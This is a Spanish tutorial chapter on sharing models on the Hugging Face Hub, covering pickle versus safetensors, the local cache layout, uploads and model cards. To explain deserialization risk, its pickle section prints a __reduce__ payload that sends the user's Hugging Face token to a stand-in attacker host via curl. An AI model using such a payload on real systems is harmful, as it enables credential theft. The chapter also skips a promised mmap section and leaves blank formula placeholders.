Hugging Face · LLM Course · Capítulo 4
Compartir modelos y tokenizers
Distribución, almacenamiento y seguridad de artefactos neuronales: desde los riesgos de ejecución remota de código en deserializadores hasta la mecánica de bajo nivel de mmap, paginación de memoria virtual en shards de tensores y direccionamiento por contenido en el cache local.
Antes de leerCap. 2 §2: Tensores y VRAM · Cap. 3 §2: Guardado de checkpoints
🎯 Objetivos de ingeniería
- Comprender la vulnerabilidad estructural de deserialización en
pytorch_model.bin(Pickle) y el diseño binario seguro y alineado desafetensors. - Diseccionar el mecanismo de sharding mediante
model.safetensors.index.jsony el impacto demmap(Demand Paging) en el consumo de RAM/VRAM. - Dominar la arquitectura de cache direccionada por contenido (Content-Addressed Storage) en
~/.cache/huggingface/hub/con enlaces simbólicos ablobs/. - Automatizar la sincronización y versionado reproducible mediante hashes SHA-1/SHA-256 y la API HTTP chunked paralela.
- Construir Model Cards con especificaciones técnicas completas y compatibilidad de
chat_templatepara motores de inferencia (vLLM, SGLang, TGI).
0. La infraestructura del Hub: Más allá de un catálogo
En la superficie, el Hugging Face Hub se presenta como un portal web para explorar modelos, datasets y aplicaciones (Spaces). Sin embargo, bajo el capó de la infraestructura de machine learning moderno, el Hub opera como un sistema de distribución de artefactos binarios a escala petabyte, desacoplado en tres capas fundamentales:
- Capa de Versionado y Control de Acceso: Basada en un árbol Git interno expuesto mediante APIs REST y gRPC de alto rendimiento, donde cada modelo es un repositorio con ramas, etiquetas y commits inmutables identificados por hashes criptográficos.
- Almacenamiento de Objetos Masivos (LFS / Blobstore): Almacén de objetos compatible con S3 (y Cloudflare R2 como CDN perimetral) que aloja los archivos masivos de tensores (de gigabytes a cientos de gigabytes) direccionados por su hash SHA-256.
- Capa de Inferencia y Metadatos Estructurados: Archivos JSON de configuración y headers YAML en los READMEs que alimentan de forma reactiva los motores de inferencia distribuida (vLLM, TGI, SGLang) y la UI del Hub.
Entender cómo viajan los pesos desde el cluster de entrenamiento hasta la memoria de las GPUs de servicio requiere entender la física de la serialización y el manejo de memoria del sistema operativo anfitrión.
1. Formatos de serialización: De Pickle a Safetensors
Históricamente, PyTorch utilizaba por defecto la serialización estándar de Python: el módulo pickle, manifestado en los checkpoints pytorch_model.bin. Esto implicaba graves limitaciones de rendimiento y vulnerabilidades críticas de ciberseguridad.
La máquina virtual de Pickle y la vulnerabilidad __reduce__
Un archivo pickle no es un volcado de memoria pasivo; es un programa escrito en bytecode que se ejecuta sobre una máquina virtual de pila (Pickle Virtual Machine). Cuando un proceso invoca torch.load("pytorch_model.bin"), el intérprete reconstruye los objetos ejecutando opcodes paso a paso:
GLOBAL: Busca e importa un módulo y una función/clase arbitraria en el entorno de Python.REDUCE: Toma una función y una tupla de argumentos de la pila y la ejecuta inmediatamente para reconstruir el objeto.BUILD: Aplica el diccionario de estado resultante al objeto instanciado.
Esta arquitectura hace que cualquier archivo .bin sea inherentemente inseguro. Cualquier actor malicioso puede sobreescribir el método especial __reduce__ para inyectar una llamada arbitraria al sistema operativo. Al deserializar el modelo, el código se ejecuta con los mismos privilegios del usuario o del contenedor de producción:
import os, pickle
class MaliciousPayload:
def __reduce__(self):
# Ejecución remota de comandos durante torch.load()
cmd = "curl -s https://c2.attacker.com/leak?k=$(cat ~/.cache/huggingface/token)"
return (os.system, (cmd,))
# Si esto se serializa como pytorch_model.bin, quien haga torch.load() queda comprometido
malicious_bytes = pickle.dumps(MaliciousPayload())
⚠️ Riesgo Crítico en Producción
En entornos de serving corporativo (Kubernetes, clusters vLLM multi-tenant), descargar un checkpoint que contenga archivos .bin o .pt sin una auditoría exhaustiva viola cualquier perímetro de seguridad. Motores de producción modernos como vLLM directamente rechazan o emiten advertencias severas al encontrar pesos basados en Pickle.
Anatomía binaria de safetensors
Desarrollado por Hugging Face en Rust y adoptado universalmente en la industria desde 2023, el formato safetensors elimina por diseño cualquier vector de ejecución de código. Es una especificación estrictamente binaria, determinista y orientada a cero copia (zero-copy).
Un archivo .safetensors consta de exactamente tres bloques contiguos en disco:
- Longitud del Header (8 bytes): Un entero sin signo de 64 bits en formato little-endian () que indica exactamente cuántos bytes ocupa el encabezado JSON.
- Encabezado JSON ( bytes): Una cadena codificada en UTF-8 con metadatos estructurados. Cada tensor del modelo está indexado por su nombre con su tipo de dato (
dtype), su forma dimensional (shape) y sus desplazamientos de bytes de inicio y fin (data_offsets:[begin, end]). Opcionalmente incluye un campo__metadata__con metainformación arbitraria. - Buffer de Datos Binarios Crudos: El payload de tensores en memoria contigua, sin compresión, sin cabeceras de objetos Python, y alineado a 8 bytes para permitir lecturas vectorizadas SIMD / AVX-512 y DMA (Direct Memory Access).
safetensors: Deserialización $O(1)$ sin asignación de memoria dinámica ni intérpretes de bytecode.
Inspeccionando los primeros bytes de cualquier archivo safetensors en Python puro, observamos la matemática de lectura directa:
import struct, json
with open("model.safetensors", "rb") as f:
# 1. Leer los primeros 8 bytes para decodificar N
header_size_bytes = f.read(8)
(header_size,) = struct.unpack("<Q", header_size_bytes) # <Q = unsigned long long little-endian
# 2. Leer exactamente N bytes y parsear el diccionario JSON
header_json = f.read(header_size).decode("utf-8")
header = json.loads(header_json)
# 3. Consultar los metadatos de un tensor específico
meta = header["model.embed_tokens.weight"]
start_offset, end_offset = meta["data_offsets"]
tensor_bytes_len = end_offset - start_offset
print(f"Header length: {header_size} bytes")
print(f"Tensor: {meta['dtype']}, Shape: {meta['shape']}, Size: {tensor_bytes_len / (1024**2):.2f} MB")
print(f"Offset absoluto en disco: {8 + header_size + start_offset}")
3. Arquitectura del Cache local y Content-Addressing
Cada vez que invocás AutoModel.from_pretrained("org/repo") o utilizás snapshot_download, los archivos no se depositan de forma ingenua en una carpeta común. La librería huggingface_hub implementa un sistema de almacenamiento direccionado por contenido (CAS / Content-Addressed Storage) en ~/.cache/huggingface/hub/.
Estructura interna: blobs/, snapshots/ y Enlaces Simbólicos
La anatomía de cualquier modelo en el directorio de cache se divide estrictamente:
~/.cache/huggingface/hub/
└── models--Qwen--Qwen2.5-7B/
├── blobs/
│ ├── 4a8b79f012... # Blob real de 4.8 GB (hash SHA-256 de model-00001-of-00004.safetensors)
│ ├── 9e23c14d55... # Blob real de config.json (hash SHA-256)
│ └── e4139821a0... # Blob real de tokenizer.json
├── refs/
│ └── main # Texto con el commit hash: "e3a89bc..."
└── snapshots/
└── e3a89bc.../ # Carpeta nombrada con el Git Commit SHA
├── config.json -> ../../blobs/9e23c14d55...
├── model.safetensors.index.json -> ../../blobs/...
├── model-00001-of-00004.safetensors -> ../../blobs/4a8b79f012...
└── tokenizer.json -> ../../blobs/e4139821a0...
Las ventajas de esta arquitectura son matemáticas y operativas:
- Deduplicación Absoluta: Si alternás entre dos ramas de un modelo (por ejemplo,
mainypr-12) donde solo se modificó el archivoconfig.json, los 14 GB de archivos.safetensorsno se vuelven a descargar ni ocupan espacio extra en disco. Ambas carpetas ensnapshots/apuntan exactamente a los mismos archivos dentro deblobs/mediante symlinks de Linux. - Operaciones Atómicas: La descarga escribe en archivos temporales dentro de
blobs/. Solo cuando el hash SHA-256 verificado coincide con el catálogo del Hub, se renombra el blob y se crea el enlace simbólico atómicamente, garantizando que un corte de red jamás deje un checkpoint corrupto a medio escribir. - Reproducibilidad Criptográfica vía
revision: Al pasarrevision="e3a89bc..."en lugar del nombre de una rama flotante comomain, garantizás que tu infraestructura de producción cargue exactamente los mismos pesos binarios byte a byte, previniendo regresiones silenciosas si el autor del modelo actualiza el repositorio.
4. Protocolo de distribución: Git LFS vs HTTP Multipart
El curso original de Hugging Face en 2022 explicaba la publicación de modelos mediante Git y la extensión git-lfs (Large File Storage). En 2026, esa metodología está totalmente obsoleta y desaconsejada.
La caída de Git LFS y el auge de la API HTTP Chunked
Git fue concebido para manejar árboles de texto plano con diferencias línea por línea. Cuando se usa git-lfs para modelos modernos:
- El árbol de Git colapsa con bloqueos locales de índice (
index.lock) y consumos exorbitantes de RAM para rastrear punteros LFS. - La negociación HTTP en un
git pushrequiere transferencias seriales que penalizan fuertemente enlaces de alta latencia y fallan con errores crípticos (RPC failed; curl 56 GnuTLS recv error).
El protocolo contemporáneo de Hugging Face es 100% HTTP REST nativo implementado en huggingface_hub:
from huggingface_hub import HfApi
api = HfApi()
# Subida en paralelo, con multipart chunking y deduplicación por bloques
api.upload_folder(
folder_path="./mi_modelo_finetuneado",
repo_id="usuario/mi-modelo-llama",
repo_type="model",
multi_commits=True, # divide automáticamente en commits coherentes si hay cientos de GB
multi_commits_verbose=True,
allow_patterns=["*.json", "*.safetensors"],
)
Bajo el capó, upload_folder ejecuta una subida multipart paralela:
- Calcula el hash SHA-256 de cada archivo local de forma particionada.
- Pregunta a la API del Hub qué bloques de hashes ya existen en el blobstore (evitando re-subir pesos idénticos).
- Divide los archivos masivos en chunks paralelos (de 50 MB o 100 MB), subiéndolos con múltiples hilos contra el CDN. Si un chunk falla, el reintento afecta únicamente a esos 50 MB, no a los 5 GB del shard completo.
5. Model Cards y metadatos críticos de producción
En ingeniería de software clásica, un README es simplemente documentación para humanos. En el ecosistema de LLMs, el README.md de un modelo es un archivo de configuración de infraestructura: su cabecera YAML es parseada directamente por el motor de búsqueda del Hub y por sistemas de orquestación automatizada.
El Header YAML y el Linaje de Pesos
Un modelo sin metadatos estructurados no puede ser indexado correctamente. Los campos críticos son:
---
language:
- es
- en
license: apache-2.0
library_name: transformers
base_model: meta-llama/Llama-3.1-8B-Instruct
tags:
- alignment
- reasoning
- dpo
metrics:
- accuracy
- eval_loss
pipeline_tag: text-generation
---
El campo base_model es crucial: establece formalmente el árbol de linaje de pesos en el Hub. Permite que herramientas de análisis de procedencia, benchmarking automatizado y auditorías de seguridad determinen de qué checkpoint base se derivaron los adaptadores o el fine-tuning.
Inferencia reproducible: El chat_template
Un error clásico en producción es suponer que el modelo recibe simplemente el texto de usuario. Si un modelo fue alineado con instrucciones, cada token de control (ej. <|im_start|>, <|start_header_id|>) debe colocarse con exactitud milimétrica.
El Hub estandarizó que este formato se defina en una plantilla de Jinja2 dentro de tokenizer_config.json:
from transformers import AutoTokenizer
tokenizer = AutoTokenizer.from_pretrained("Qwen/Qwen2.5-7B-Instruct")
messages = [
{"role": "system", "content": "Sos un asistente de ingeniería."},
{"role": "user", "content": "¿Cómo funciona mmap en Linux?"},
]
# apply_chat_template compila la plantilla Jinja2 almacenada en el repo
prompt_compilado = tokenizer.apply_chat_template(messages, tokenize=False, add_generation_prompt=True)
print(prompt_compilado)
Cuando publicás un modelo, subir el tokenizer_config.json con su chat_template correcto garantiza que vLLM, Ollama o cualquier cliente OpenAI-compatible renderice los turnos de diálogo de forma idéntica a como el modelo fue entrenado.
6. Diagnóstico de errores de carga y despliegue
| Síntoma en Producción | Causa Mecánica | Resolución de Ingeniería |
|---|---|---|
403 Client Error: Forbidden for url al intentar push_to_hub |
El token de acceso utilizado tiene alcance Read-only o es un Fine-Grained token sin permiso de escritura sobre el namespace solicitado. |
Emitir un token con rol Write o scope de escritura explícito sobre la organización y re-autenticar con hf auth login. |
OSError: Error no such file: model.safetensors.index.json |
Se intentó cargar un modelo particionado al que le falta el archivo de índice o alguno de los fragmentos referenciados en weight_map. |
Auditar que todos los shards model-xxxxx-of-xxxxx.safetensors y el index.json estén subidos en el mismo commit. |
ValueError: Cannot load checkpoint in safetensors format |
El repositorio solo contiene pytorch_model.bin (Pickle) y el entorno tiene prohibida la ejecución de Pickle por políticas de seguridad. |
Convertir el modelo localmente a safetensors mediante AutoModel.from_pretrained(..., safe_serialization=True) y reemplazar los archivos en el repo. |
| El modelo genera texto degradado o bucles repetitivos tras cargar el checkpoint | Desincronización entre modelo y tokenizer: se utilizó un tokenizer base genérico omitiendo tokens especiales o el chat_template agregado en el fine-tuning. |
Subir siempre el tokenizer junto con los pesos desde el mismo directorio: tokenizer.push_to_hub(repo_id). |
| Consumo masivo de RAM del sistema (OOM de Host) antes de llegar a la GPU | Uso de torch.load(..., weights_only=False) que deserializa el archivo completo a memoria física en lugar de mapear con safetensors.torch.load_file / mmap. |
Migrar a safetensors nativo y utilizar device_map="auto" que orquesta la paginación por demanda directa a VRAM. |
7. Resumen de arquitectura
| Componente | Implementación Técnica | Rol en la Infraestructura |
|---|---|---|
| Serialización | safetensors (Header JSON de bytes + Buffer crudo) |
Elimina vulnerabilidades de ejecución arbitraria de código y permite carga zero-copy. |
| Paginación | mmap() con llamadas de sistema MAP_SHARED |
Mapea archivos a direcciones virtuales, trasladando los bytes a RAM/VRAM solo bajo fallos de página por demanda. |
| Sharding | Fragmentos de 5 GB + model.safetensors.index.json |
Resuelve límites de almacenamiento multipart en S3 y permite paralelismo de E/S en red. |
| Cache Local | Content-Addressed Storage en blobs/ con symlinks en snapshots/ |
Deduplicación criptográfica a nivel de archivo entre ramas y commits de checkpoints. |
| Inferencia | tokenizer_config.json con plantillas Jinja2 (chat_template) |
Estandarización del formateo de prompts para motores de inferencia serving (vLLM, TGI). |
8. Ponete a prueba
1. ¿Por qué un archivo pytorch_model.bin puede comprometer un servidor con solo ejecutar torch.load()?
Porque el formato Pickle es una máquina virtual de pila con instrucciones como GLOBAL y REDUCE. Si la clase serializada sobreescribe el método __reduce__, puede indicar que se ejecute os.system o cualquier ejecutable con argumentos arbitrarios durante la deserialización, antes de que el código retorne el tensor.
2. ¿Cómo logra safetensors cargar un modelo de 70B en memoria virtual casi instantáneamente sin agotar la RAM física?
Utiliza la llamada del sistema mmap(). Esto crea descriptores de áreas de memoria virtual (VMA) en la tabla de páginas del proceso sin leer los datos físicamente. El espacio residente en RAM (RSS) permanece en cero hasta que se accede efectivamente a las direcciones de memoria, momento en el cual el kernel atiende Page Faults bajo demanda.
3. ¿Por qué el cache del Hub separa los archivos en blobs/ y snapshots/ mediante enlaces simbólicos?
Para implementar direccionamiento por contenido y deduplicación. Los archivos pesados se guardan una sola vez nombrados por su hash SHA-256 en blobs/. Si dos versiones o ramas de un modelo comparten los mismos 14 GB de pesos y solo difieren en un config.json de 2 KB, ambas carpetas de snapshots/ apuntan al mismo blob físico, ahorrando terabytes de almacenamiento local.
4. ¿Qué ventaja ofrece pasar revision="4b2a8f..." en lugar de la rama por defecto main en entornos de serving?
Garantiza inmutabilidad y reproducibilidad determinista en producción. Las ramas como main son punteros móviles; si el autor del modelo sube un nuevo checkpoint o modifica un hiperparámetro en el repositorio, una nueva instancia desplegada podría divergir en comportamiento respecto a las instancias preexistentes.
5. Si un modelo fue fragmentado en shards de 5 GB, ¿cómo sabe el framework exactamente en qué archivo físico buscar el tensor model.layers.15.mlp.gate_proj.weight?
Consulta el archivo model.safetensors.index.json, cuya clave weight_map mapea el nombre exacto del parámetro hacia el nombre del archivo shard correspondiente (ej. model-00002-of-00004.safetensors).
9. Práctica con scripts de inspección
✏️ Ejercicio 1: Diseccionar la cabecera binaria de un archivo Safetensors
Escribí un script en Python puro (sin dependencias externas ni torch) que descargue el archivo config.json y el primer bloque de un safetensors para inspeccionar su tamaño de header y extraer la lista de tensores.
import struct, json
from huggingface_hub import hf_hub_download
# Descargar un archivo safetensors ligero
ruta = hf_hub_download(repo_id="HuggingFaceTB/SmolLM2-135M", filename="model.safetensors")
with open(ruta, "rb") as f:
header_len_raw = f.read(8)
(header_len,) = struct.unpack("<Q", header_len_raw)
header_json = json.loads(f.read(header_len).decode("utf-8"))
print(f"Header length: {header_len} bytes")
for name, info in list(header_json.items())[:5]:
if name != "__metadata__":
offsets = info["data_offsets"]
size_bytes = offsets[1] - offsets[0]
print(f"Tensor: {name:<40} | Dtype: {info['dtype']:<6} | Shape: {str(info['shape']):<18} | Bytes: {size_bytes}")
✏️ Ejercicio 2: Inspeccionar la topología de symlinks en el Cache de Hugging Face
Verificá la arquitectura de direccionamiento por contenido en tu propia máquina listando los enlaces simbólicos de un snapshot descargado.
import os
from pathlib import Path
from huggingface_hub import hf_hub_download
archivo = hf_hub_download(repo_id="HuggingFaceTB/SmolLM2-135M", filename="config.json")
path_snapshot = Path(archivo).parent
print("Contenido del snapshot (Symlinks):")
for item in path_snapshot.iterdir():
if item.is_symlink():
target = os.readlink(item)
print(f" {item.name} -> {target}")
10. Fuentes y referencias
- Hugging Face LLM Course — Chapter 4: Documentación oficial sobre la gestión de modelos y tokenizers en el Hub.
- Safetensors Specification (Hugging Face): Repositorio canónico y especificación formal del formato binario seguro y alineado.
- Linux Programmer's Manual — mmap(2): Especificación técnica del kernel de Linux sobre mapeo de memoria virtual y demand paging.
- huggingface_hub: Upload files guide: Documentación de APIs REST paralelas y protocolos multipart para grandes volúmenes de datos.
- Jinja2 Template Documentation: Motor de plantillas utilizado para la compilación determinista del
chat_templateen inferencia.